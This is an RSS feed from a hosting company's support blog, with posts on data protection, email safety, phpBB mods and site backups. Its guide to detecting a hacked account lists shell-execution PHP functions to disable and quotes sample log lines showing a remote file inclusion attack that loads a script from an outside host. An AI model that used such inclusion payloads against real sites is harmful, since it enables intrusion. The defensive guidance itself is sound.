<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WestHost Official Blog &#187; Technical Support</title>
	<atom:link href="http://blog.westhost.com/category/technical-support/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.westhost.com</link>
	<description>News, Announcements &#38; More</description>
	<lastBuildDate>Wed, 08 Feb 2012 04:37:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Get some sleep: Continuous Data Protection (CDP)</title>
		<link>http://www.westhost.com/blog/2012/01/13/get-some-sleep-continuous-data-protection-cdp/</link>
		<comments>http://www.westhost.com/blog/2012/01/13/get-some-sleep-continuous-data-protection-cdp/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 23:19:13 +0000</pubDate>
		<dc:creator>Clint Reeves</dc:creator>
				<category><![CDATA[Technical Support]]></category>
		<category><![CDATA[Web Hosting]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=1776</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
One of the indirect benefits of using a remote hosting provider is the ability to tap into ancillary services like Continuous Data Protection (CDP) that safeguards your data using the latest backup &#38; restore technologies. Traditionally IT departments running their own on-premise solutions have considered backup and disaster recovery to be two separate functions often [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p>One of the indirect benefits of using a remote hosting provider is the ability to tap into ancillary services like Continuous Data Protection (CDP) that safeguards your data using the latest backup &amp; restore technologies.</p>
<p>Traditionally IT departments running their own on-premise solutions have considered backup and disaster recovery to be two separate functions often handled by two different departments. This may have meant using a tape-based backup or a disk-based replication method, respectively.</p>
<p>With the rising surge of interest in cloud-based hosting to mitigate complexity, cut down costs and streamline business operations, there has also been the blossoming of new CDP technologies, which aims to protect your mission-critical data.</p>
<p>CDP unifies the goal of managing both backup and disaster recovery in one technical swoop. For instance, <a href="http://www.westhost.com/web-hosting/">WestHost offers CDP</a> as part of their preferred and business plans.</p>
<p>CDP allows rapid restoration of data in the face of some unplanned event or downtime.   While the technology is not exactly new it is becoming increasingly sophisticated and powerful, allowing hosting companies to offer this service to smaller SMBs, as well as larger enterprises, <strong><em>at much lower costs.</em></strong></p>
<p>“Technologies such as compression and deduplication can decrease data traffic and significantly reduce bandwidth requirements and overall costs,” said <a href="http://www.informationweek.com/news/services/disaster_recovery/224700991">eWeek.</a></p>
<p><span id="more-1776"></span></p>
<p><a href="http://www.infosectoday.com/Articles/Continuous_Data_Protection.htm">Information System Security</a> defines CDP as a process that let’s organizations continuously capture or track data modifications and stores changes independent of the primary data, enabling recovery from specific points in the past. CDP systems may be block, file-, or application-based and can provide fine granularities of restorable objects to infinitely variable points in time.<a href="http://www.informationweek.com/news/services/disaster_recovery/224700991"></a></p>
<p>It is also becoming very popular in protecting the massive email threads generated in systems such as Exchange Server or other mission-critical email collaboration portals.</p>
<p>“New granular recovery technologies have emerged that enable mail messages, mailboxes, and folders to be restored individually without having to restore an entire email database, and without separate and redundant mailbox backups,” said Information System Security.</p>
<p>“In an Exchange environment, for example, only a single-pass full or incremental backup of Exchange is required, which dramatically decreases the time required to protect all mailboxes while also reducing the backup storage requirement. “</p>
<p>“In some situations, continuous data protection will require less space on backup media (usually disk) than traditional backup. Most continuous data protection solutions save <em>byte or block-level</em> differences rather than <em>file-level differences</em>. This means that if you change one byte of a 100 GB file, only the changed byte or block is backed up. Traditional incremental and differential backups make copies of entire files.”</p>
<p>If you are currently experiencing severe pain points dealing with data replication and disaster recovery you may find hosting that includes CDP is just what the doctor ordered!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2012/01/13/get-some-sleep-continuous-data-protection-cdp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HOW TO: Know if You’ve Been Hacked</title>
		<link>http://www.westhost.com/blog/2010/11/19/how-to-know-if-you%e2%80%99ve-been-hacked/</link>
		<comments>http://www.westhost.com/blog/2010/11/19/how-to-know-if-you%e2%80%99ve-been-hacked/#comments</comments>
		<pubDate>Fri, 19 Nov 2010 22:11:04 +0000</pubDate>
		<dc:creator>Isaac Furniss</dc:creator>
				<category><![CDATA[Technical Support]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=1361</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
I frequently cleaned cracked WestHost accounts, but sometimes they are not actually cracked or it&#8217;s a little hard to track down. Here is a guide for what to look for if you think that something might be compromised. Some of this information is for WestHost accounts purchased before Nov. 2009, but I’ve included things to [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p><center><img src="http://www.westhost.com/blog/wp-content/uploads/2010/11/Lock-Icon-Black.jpg" alt="Hacked-website" /></center></p>
<p>I frequently cleaned cracked WestHost accounts, but sometimes they are not actually cracked or it&#8217;s a little hard to track down.</p>
<p>Here is a guide for what to look for if you think that something might be compromised. Some of this information is for WestHost accounts purchased before Nov. 2009, but I’ve included things to cover other accounts so it can translate into additional systems, platforms and hosts.</p>
<p><span id="more-1361"></span></p>
<ol>
	<strong>
<li>Location, Location, Location</li>
<p></strong></p>
<p>Where is the malicious content initially found? 9 times out of 10 it&#8217;ll be in a sub-location of a specific PHP application. And that application is usually the one that was exploited.</p>
<li><strong>PHP Variables</strong></li>
<p>Below are common exploited functions within PHP. Ensure the below 3 are disabled if at all possible [or just enabled for the necessary directory].</p>
<p>Quick check of /etc/php.ini variables</p>
<p>disable_functions = passthru,proc_open,shell_exec,system //Ensure these are in the list<br />
register_globals = Off<br />
allow_url_fopen = Off<br />
allow_url_include = Off</p>
<p>While shared accounts in the cPanel system do not have access to the server level php.ini file, you can utilize local PHP configuration files. Here’s a great link from to a forum post with information on how to do so: http://forums.westhost.com/showthread.php?t=14325</p>
<li><strong>Modification Dates</strong></li>
<p>What are the modification times on the files? This is very important as it lets you know how old the hack is. If you know when it was put there then you can examine log files for anything suspicious at that time.</p>
<li><strong>Got POST?</strong> </li>
<p>Look for pages that have been posted to the most within Apache logs. Typically if there is a backdoor shell it&#8217;ll show up in the list.</p>
<li><strong>Check for Strange Files in /tmp</strong></li>
<p>This is a common location for crackers to stick scripts.</p>
<li><strong>Check Your Process List for Anything Suspicious</strong></li>
<p>If you see something, either install lsof and take a look at where it’s executing from or, contact us to check for you.<br />
Shared cPanel users will likely just want to contact Technical Support.</p>
<li><strong>Know Your Log Files</strong></li>
<p>Do you know how to enable ftp logs? Where they are kept? bash_history? access_log&#8217;s? error_logs? Check them all.</p>
<p>cPanel provides access to the Apache log, but you can also trail system logs via SSH.</p>
<li><strong>Run Some Command Line Checks</strong></li>
<p>Run the command below and look for any strange GET requests.</p>
<p>awk -F &#8216;&#8221;&#8216; &#8216;{print $2}&#8217; /var/log/httpd/access_log | grep -E &#8216;/?&#8217; | less</p>
<p>Example: GET /domain.html/default/theme.php?THEME_DIR=http://www.getit.pl///opinia/Ckrid1.txt?? HTTP/1.1<br />
GET /default/theme.php?THEME_DIR=http://www.getit.pl///opinia/Ckrid1.txt??</p>
<p>This command will work from the shared cPanel accounts.</p>
<li><strong>Document</strong></li>
<p>Always document everything you&#8217;ve seen and everything you find and everything you do. If you have backups to restore your site, ensure that you save a copy of the hacked files, remove their permissions, and let Tech Support run a final check of the files in question.</p>
<li><strong>Google&#8217;s Your Friend</strong></li>
<p>Chances are if someone has been hacked, it’s happened a million times over to others running the same application. Typically there are posts on possible entry points, etc.</p>
<li><strong>Repetition, Repetition, Repetition</strong></li>
<p>Hackers like to repeat things. Why? Because they use scripts to do their work for them. So if you find one instance check for others in other files.</ol>
<p>I realize some of this may seem quite technical so please comment with your questions.</p>
<p>This could be expanded, but these steps are good places to check if you are worried about your account&#8217;s security. Have any other tricks you’d like to impart now?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2010/11/19/how-to-know-if-you%e2%80%99ve-been-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Email Safety: 10+ Things You Should Know</title>
		<link>http://www.westhost.com/blog/2010/09/21/10-things-you-should-know-about-email-safety/</link>
		<comments>http://www.westhost.com/blog/2010/09/21/10-things-you-should-know-about-email-safety/#comments</comments>
		<pubDate>Tue, 21 Sep 2010 18:22:16 +0000</pubDate>
		<dc:creator>Cody Erekson</dc:creator>
				<category><![CDATA[Technical Support]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=1228</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
Have you ever wondered why you get so much SPAM (junk mail) in your email inbox? Where do they get your address from, and why do they send it? There are essentially two reasons. First is the same reason that Pepsi pays $25 million for a thirty second Super Bowl ad: exposure equals sales. Secondly, [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p><center><img src="http://www.westhost.com/blog/wp-content/uploads/2010/09/Email-Safety-Icon.jpg" alt="Email Safety" /></center><br />
Have you ever wondered why you get so much SPAM (junk mail) in your email inbox?  Where do they get your address from, and why do they send it?</p>
<p>There are essentially two reasons.  First is the same reason that Pepsi pays $25 million for a thirty second Super Bowl ad: exposure equals sales.  Secondly, they may want to cause you or your computer harm or somehow scam you.</p>
<p><strong>So How Do They Get My Address?</strong></p>
<p><span id="more-1228"></span></p>
<p>Your address is acquired by spammers through a number of methods.  Some of them actually just generate random addresses and send messages to those.  If the mail goes through, then they assume it is valid and add it to their lists.  These aren’t quite as common as other methods though, mainly because there are easier ways to get addresses that are known to have worked at some point in time.  Some buy lists of addresses from places that collect them; for example you may register an account on some website that promises to email you an accurate horoscope each morning.  They then could turn around and sell your address to an “affiliate.”  One other method that is quite common and well disguised is sending and receiving chain mail.</p>
<p>Believe it or not, chain mail that you get and pass around is one of the key tools used by those who collect email addresses for nefarious purposes.  How often do you get an email that shows the addresses of the fifteen other people it was sent to at the same time, and the fifteen before that, and so on?  Over the course of one week, I was once able to collect a minimum of fifty unique email addresses every day.  That amounted to a total of over 350 addresses!</p>
<p>I hate to break it to you, but most of those “prayer chains” and letters from soldiers and even those warnings about rapists in the Kmart parking lot were most likely written by a spammer.  They put a lot of effort into compelling you to forward these to as many people as possible.</p>
<p>Another common trick they use is asking you to “make sure you send it back to me so that I know I am loved too!”  This helps ensure that it eventually could be returned to the original author.<br />
<img src="http://www.westhost.com/blog/wp-content/uploads/2010/09/Spam-Email-Hand-Icon.jpg" alt="Email Safety"Align="right"/><br />
<strong>You Can Help Prevent This From Working!</strong></p>
<p>I have put together 10 tips that you can use to drastically reduce the amount of SPAM that you receive, and better control what you do receive.</p>
<ol>
<li>If you are sending an email to more than one person <strong>NEVER </strong>use cc (carbon copy) for the additional addresses.  Instead use bcc (blind carbon copy;) it will stills end to everyone, but the recipient will only be able to see their own address.</li>
<li>When you are forwarding a message, delete all of the displayed addresses and signatures before you send it.  Do everything to make it appear as if you originally composed the message.  It is not only safer for those who sent it to you, but is also a courteous gesture.</li>
<li>If you do not recognize the sender of a message in your inbox or anything else looks odd about a message, <strong>DO NOT OPEN IT!</strong>  Just delete it.  If you feel the overwhelming urge to investigate it, put your email program into “Offline Mode” (you can usually do this in the File menu) before you look at it.  If you are using webmail, just resist the urge.</li>
<li>Never click on a link inside an email message.  Always copy and paste it directly into the address bar in your browser.  No matter how “official” something looks, you should never trust it.  That is how they run a type of scam called <a href="http://en.wikipedia.org/wiki/Phishing">phishing </a>which is used to get your personal information.</li>
<li>No matter how tantalizing a spam message looks, <strong>DO NOT OPEN IT!</strong>  People looking at the ads are what keep spammers in business.  To satisfy your curiosity, I have some information for you that I have gathered from very reliable sources:
<ul>
<li>You did not win the European lottery (when did you buy the ticket?)  You didn’t even win a free Xbox.</li>
<li>You are not the 1 millionth anything.</li>
<li>PayPal does not need to confirm your password.</li>
<li>There is no member of the royal family from Mumbai who will be sending you $18,000.</li>
<li>No one needs your help with cashing their foreign money orders.</li>
<li>Bambi did not see your profile and think that you are cute (sorry!)</li>
<li>That missing girl in Texas was found eight years ago.</li>
<li>Microsoft, IBM, Yahoo, nor any other company will give you money just because your email address is on a chain letter.</li>
<li>And that sailor in Borneo who got decapitated because he “broke the chain” is still alive.  His name is Roger and he runs a bait shop now.  (You don’t believe me?  Why would you believe those who wrote that story then?)</li>
</ul>
</li>
<li>Use an address other than your personal one for anything online.  If you don’t already have one, sign up for a free email address with <a href="http://www.hotmail.com/">Hotmail</a>, <a href="http://www.yahoo.com/">Yahoo</a>, or <a href="http://www.gmail.com/">GMail</a>.  Reserve your real email address for only friends, family, and business.<br />
When registering for something online, do not sign up for the newsletter, do not check the box about receiving details about future promotions, and definitely do not allow their “affiliates” to contact you!  And if you do find yourself on a mailing list, do not follow the “unsubscribe” link (remember tip #4!)  Just mark it as junk and let your email program handle it.</li>
<li>To find out the truth about any story or claim in an email, you can research it on sites such as <a href="http://www.snopes.com/">Snopes </a>or <a href="http://www.truthorfiction.com/">Truth or Fiction</a>.  These sites contain large databases of researched facts about most common chain letters and email scams. Check out our previous post on <a href="http://www.westhost.com/blog/2009/11/05/4-tips-to-expose-e-mail-scams-internet-scams-part-i/">exposing e-mail scams.</a></li>
<li>At no time will pressing shift or space immediately after forwarding a message cause the answer to a riddle, the final line of a poem, or a cute bunny to appear on your screen.  There are thousands of types of email software, running on dozens of operating systems in hundreds of languages.  There is no way to write an innocent email that causes such a thing to happen on all of those.  If it does work, you now have bigger problems than just a spammer acquiring your address.  It is time to run an anti-virus scan.</li>
<li>Always have a good anti-virus installed, updated, and running.  If you don’t know which anti-virus you ought to use, ask a geek rather than a salesman.  And if you think that you may have been infected, do not just rely on your local anti-virus.  Also check your computer with an online scanner such as <a href="http://housecall.trendmicro.com/">HouseCall</a>.</li>
<li>Never post your address in a public forum; that is like putting up a sign that says “I want SPAM!”  Instead, use a format like the following:<br />
“Please send your reply to my question to john123 at yourjob dot com.”<br />
While that isn’t fool proof, it can help.  But better yet, just use the forum’s private messaging system if they have one.</li>
</ol>
<p><em>Bonus tip for webmasters:</em> Public whois information on your domain names is a good place for a spammer to get your email address.  You can prevent this from happening by purchasing <a href="http://www.westhost.com/domain-registration/?t=privacy">Domain Privacy</a>.</p>
<p>By keeping yourself free from problems such as SPAM, viruses, phishing attacks and other such threats, you are also protecting your friends, family, and business contacts…anyone you send or receive email from.  Remember, it wasn’t you who put your email address on that chain; it was the person who loves you enough to have sent it to you!</p>
<p>If you don’t follow these instructions and do not send a link to this article to everyone in your address book by the end of the day, you will receive twenty pieces of junk mail in your inbox every day for the next eight years!  If you do follow these suggestions, then maybe, just maybe it will be less than that and you will be safer online.  It worked for me!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2010/09/21/10-things-you-should-know-about-email-safety/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AutoMOD: Customization Magic for phpBB3</title>
		<link>http://www.westhost.com/blog/2009/09/24/automod-customization-magic-for-phpbb3/</link>
		<comments>http://www.westhost.com/blog/2009/09/24/automod-customization-magic-for-phpbb3/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 00:05:49 +0000</pubDate>
		<dc:creator>Cody Erekson</dc:creator>
				<category><![CDATA[Technical Support]]></category>
		<category><![CDATA[Web site Development]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=435</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
One of the many site applications we offer is phpBB3, which claims to be “the most widely used open-source bulletin board system in the world.” Using phpBB3 you can create everything from large discussion forums to small game clan meeting rooms. It offers the tools necessary for moderation teams to maintain control of your site. [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p>One of the many site applications we offer is phpBB3, which claims to be “the most widely used open-source bulletin board system in the world.”  Using phpBB3 you can create everything from large discussion forums to small game clan meeting rooms.  It offers the tools necessary for moderation teams to maintain control of your site.  A detailed permissions system also allows access to specific features as you see fit.  </p>
<p><img src="http://www.westhost.com/blog/wp-content/uploads/2009/09/AutoMod.gif" alt="" /><br />
Perhaps the greatest aspect of phpBB3 is the ability to customize it by installing any of a number of available modifications. You’ll see a list of modifications later in the post, but first things first: Installation. </p>
<p><span id="more-435"></span></p>
<p>Unless you are familiar with the PHP coding language, installing these mods can be a daunting task.  That’s where <a href="http://www.phpbb.com/mods/automod/">AutoMOD </a>comes in!  AutoMOD is a mod installation utility that will insert the necessary code into your phpBB3 site quickly and easily.</p>
<p><strong>Five Steps to Install AutoMOD:</strong></p>
<ol>
<li>Upload all of the files and folders from the “upload” directory to your site with the FTP client of your choice.  Ensure that you maintain the correct data structure, i.e., files in includes need to go in the includes folder on your site</li>
<p></P></p>
<li>Once the files are in place, browse to the install directory (http://www.yoursite.com/phpbb/install) to run through the simple and painless installation.  </li>
<p></P></p>
<li>Don’t forget to delete the install folder from the server or phpBB3 will not allow anyone to use the site.</li>
<p></P></p>
<li>To install the mod, upload the mod files and let AutoMOD do the work!</li>
<p></P></p>
<li>After you upload your mod files into the newly created /phpbb/store/mods folder on the server, the mod will be displayed in the AutoMOD tab in the Administration Control Panel.  Next to the name of the available mod is an “Install” link.  </ol>
</li>
<p>AutoMOD will check all of the code changes necessary and alert you if there is a problem; for example you may have already installed a mod that affects the specific code that the current mod needs to change.  In this case, you will be shown the changes that are required for the current installation and you can make the choice to continue or cancel.  </p>
<p>If there are any additional steps needed to complete the installation, AutoMOD will tell you exactly what’s needed.  If you decide in the future that you don’t want the changes implemented by a particular mod, AutoMOD can remove it for you as well. How cool is that!</p>
<p>There are literally hundreds of phpBB3 modifications available.  The <a href="http://www.phpbb.com/community/viewforum.php?f=69">official phpBB site</a> hosts over 300 mods alone, all of which have been reviewed for security flaws and obvious bugs.  You can transform phpBB3 from a simple bulletin board system into a feature rich content management system, a near LinkedIn clone, or even a blog.</p>
<p>Here are some of the more common and useful mods you may wish to look at:</p>
<ul>
<li><a href="http://www.phpbb.com/community/viewtopic.php?f=69&#038;t=1146135">Advertisement Management</a>: Manage your banner ads, create rotating ads &#038; filter viewers of advertisements </li>
<li><a href="http://www.phpbb.com/community/viewtopic.php?f=69&#038;t=1308375">User Blog Mod</a>: Feature rich blogging system that can be available to all of your site members</li>
<li><a href="http://www.phpbb.com/community/viewtopic.php?f=69&#038;t=1726785">phpBB Smartfeed</a>: Creates RSS 1.0, 2.0, and ATOM 1.0 newsfeeds so you can syndicate your site contents</li>
<li><a href="http://www.phpbb.com/community/viewtopic.php?f=69&#038;t=691165">SEO Mod</a>: Optimize your phpBB3 site’s ability to gain ranking within search engines</li>
<li><a href="http://www.phpbb3portal.com/">phpBB3 Portal</a>: Add a front portal page to your forum, effectively converting phpBB3 into a full CMS</li>
</ul>
<p>With all of these mods at your fingertips, the Internet is your oyster!</p>
<p>Cody Erekson<br />
WestHost Technical Support</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2009/09/24/automod-customization-magic-for-phpbb3/feed/</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Backups Part 1: Creating a Backup of your Web Site</title>
		<link>http://www.westhost.com/blog/2009/07/21/backups-part-1-creating-a-backup-of-your-web-site/</link>
		<comments>http://www.westhost.com/blog/2009/07/21/backups-part-1-creating-a-backup-of-your-web-site/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 22:45:40 +0000</pubDate>
		<dc:creator>Chris Olson</dc:creator>
				<category><![CDATA[Technical Support]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=356</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
I think it is safe to say that the majority of computer users, at one time or another, and to one degree or another, has had that moment where we wished we had made a backup of our files&#8212;but hadn’t. I don’t believe that an in-depth explanation is required to illustrate why this is a [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p><img style="float:right; margin: -10px -10px -10px 0px;" src="http://www.westhost.com/images/blog_photos/datacenterhall.jpg" alt="" /></p>
<p>I think it is safe to say that the majority of computer users, at one time or another, and to one degree or another, has had that moment where we wished we had made a backup of our files&#8212;but hadn’t. I don’t believe that an in-depth explanation is required to illustrate why this is a good idea, and that we can all agree that this is something that we should periodically do to avoid that “I wish I made a backup” moment.</p>
<p>While it may seem obvious that you would do this on your personal computer; the files on your Westhost account are no exception. It is just as easy to remove or overwrite a file or an entire directory on your Westhost account. The frequency in which you do this is going to depend on your site; you must decide on the regularity that you perform the backup. There are multiple ways that you can perform the backup of your site, the easiest and most popular method I will describe below.</p>
<p><span id="more-356"></span></p>
<h2>Site Backup</h2>
<h3>Take inventory of your account</h3>
<p>This will give you an idea of what you are going to back up if for whatever reason you are unsure. The easiest way to do this is to access your Site Manager (http://yourdomain.com/manager) &gt; Install &amp; Manage Applications. This will give you a snapshot of the applications that you have installed and what you will be backing up.</p>
<h3>Install FTP program</h3>
<p>You are going to want to install an FTP program on your computer to download the backup that you will create. FTP stands for File Transfer Protocol and is going to be the method with which you download your backup from the Westhost server to your computer. There are many FTP programs out there that you can use ranging from free to programs that you must purchase. For the purposes of this instruction, I will be using FileZilla as it is compatible with both Windows and Mac platforms. You can download FileZilla for free <a href="http://filezilla-project.org/download.php" target="_blank">here</a>.</p>
<p>To set up FileZilla, you will want to follow the Westhost documentation that has been provided <a href="http://helpdocs.westserver.net/v3/sitemanager/FileZilla_%28PC%29.htm">here</a>. Setup instructions for other FTP programs can also be found in the Westhost <a href="http://helpdocs.westserver.net/v3/sitemanager/">documentation</a>.</p>
<h3>Zip up site directory</h3>
<p>It is possible to download the entire site directory file by file, but this results in long download times and is overall inefficient. The preferred way to back up your site is to &#8220;zip up&#8221; your site&#8217;s home directory into one single zipped file, and then download the one file. To zip up your sites directory follow these steps:</p>
<ol>
<li>Open up the File Manager (http://yourdomainname.com/fm) and log in with your Site Manager username and password</li>
<li>Upon logging in, you will be placed inside your primary domain&#8217;s directory (/var/www/html). In order to zip up the /html directory, you will need to go up one directory (/var/www). You can do this by simply clicking &#8220;up one dir&#8221; at the top of the directory list.</li>
<p><img src="http://www.westhost.com/images/blog_photos/fm-uponedir.jpg" alt="" /></p>
<li>It’s important that you are in this directory; otherwise, the below command will not work. Now that you&#8217;re in the appropriate directory, you will issue the zip command by first clicking &#8220;Execute a Command&#8221; at the top right of the screen.</li>
<li>Type in this command where it says Enter Shell Command:
<pre>tar -zcvf yourdomain.com-YYYY-MM-DD.tgz html/</pre>
</li>
<p><img src="http://www.westhost.com/images/blog_photos/fm-exec_cmd.jpg" alt="" /></p>
<li>Hit Submit and this will initiate the backup process. This may take a while depending on how big your directory is. So don&#8217;t be alarmed if it appears as if it isn&#8217;t doing anything. When it is finished it will output a long list of files that it archived.</li>
<p><img src="http://www.westhost.com/images/blog_photos/fm-backup.jpg" alt="" /></ol>
<h3>Download backup</h3>
<p>Now that you have successfully zipped your directory backup, you are ready to download it. Open up FileZilla and connect to the server by following the instructions outlined in the Westhost <a href="http://helpdocs.westserver.net/v3/sitemanager/FileZilla_%28PC%29.htm">documentation</a>.</p>
<p>When you open up FileZilla, you are going to see a local side (your computer) on the left and a remote side (your server) on the right. By default you will be placed in the upper-most directory on your server &#8220;/&#8221; or what is known as the root of your server. You will need to browse to the location where the backup was made. On the top-right pane of FileZilla, browse to /var/www and you should see the backup that you created in the bottom-right pane. Simply drag the backup file (yourdomainname.com-YYYY-MM-DD.tgz) over to the left-hand pane of your FileZilla which is your local computer. This will initiate the download and, once again, can take awhile depending on how large the backup is. The progress meter at the bottom of the screen should give you an idea when the download will be finished.</p>
<p><img src="http://www.westhost.com/images/blog_photos/fz-download.jpg" alt="" /></p>
<h2>Database Backup</h2>
<p>The backup that we performed is going to back up your Web site&#8217;s files, but if your Web site uses applications such as WordPress, Joomla, Drupal, or any other application that delivers dynamic content, you are going to have a database that you will want to backup as well. The databases that these applications use are going to store all of your blog posts, application settings, users, etc. Simply put, applications that use a database will not function without it. That said, it is equally important to back up the database as it is to back up the site files.</p>
<p>You will most likely already know if you have an application that uses a database after taking inventory of your site earlier on step one. If you have determined that you use a database, follow these steps to make a backup of the database. At any rate, it would be a good idea to follow the below steps to be absolutely sure that you&#8217;re backing up a database if you have one.</p>
<h3>Install phpMyAdmin</h3>
<p>phpMyAdmin is a database management application that will allow you to export your database. To install this (if not installed already), go to Site Manager &gt; Install &amp; Manage Applications. phpMyAdmin is going be under the Development sub section and will be highlighted blue if already installed. Once it&#8217;s installed, click on the phpMyAdmin name and it will give you a link to the phpMyAdmin login.</p>
<p>Once logged in (you will need to use your Site Manager username and password), you will see the main page for phpMyAdmin. On the left you will see a list of all your databases. From this list, you will be able to identify quite easily databases that your site uses (databases like mysql, test, and information_schema are there by default and generally don&#8217;t need to be backed up). To make a backup of each database, you will need to follow the below process.</p>
<ol>
<li>Click on the database on the left</li>
<li>Click on Export (towards the top)</li>
<li>Scroll down to the bottom and check &#8220;Save as file&#8221;</li>
<li>Click Go (opens window prompting you choose a location to save the exported database on your computer)</li>
</ol>
<p><img src="http://www.westhost.com/images/blog_photos/pma-db_save_small.jpg" alt="" /></p>
<p>This will export the database in SQL format which is the standard format for databases. Repeat this export for your other databases as necessary.</p>
<p>Once you have made the backup of your site files and the database, you can rest assured that you have something to fall back on if in case, you encounter one of the would-be “I wish I made a backup” moments.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2009/07/21/backups-part-1-creating-a-backup-of-your-web-site/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Improving Apache Web Server Performance</title>
		<link>http://www.westhost.com/blog/2009/06/09/improving-apache-web-server-performance/</link>
		<comments>http://www.westhost.com/blog/2009/06/09/improving-apache-web-server-performance/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 16:33:57 +0000</pubDate>
		<dc:creator>Nick Venturella</dc:creator>
				<category><![CDATA[Technical Support]]></category>
		<category><![CDATA[Web site Development]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=322</guid>
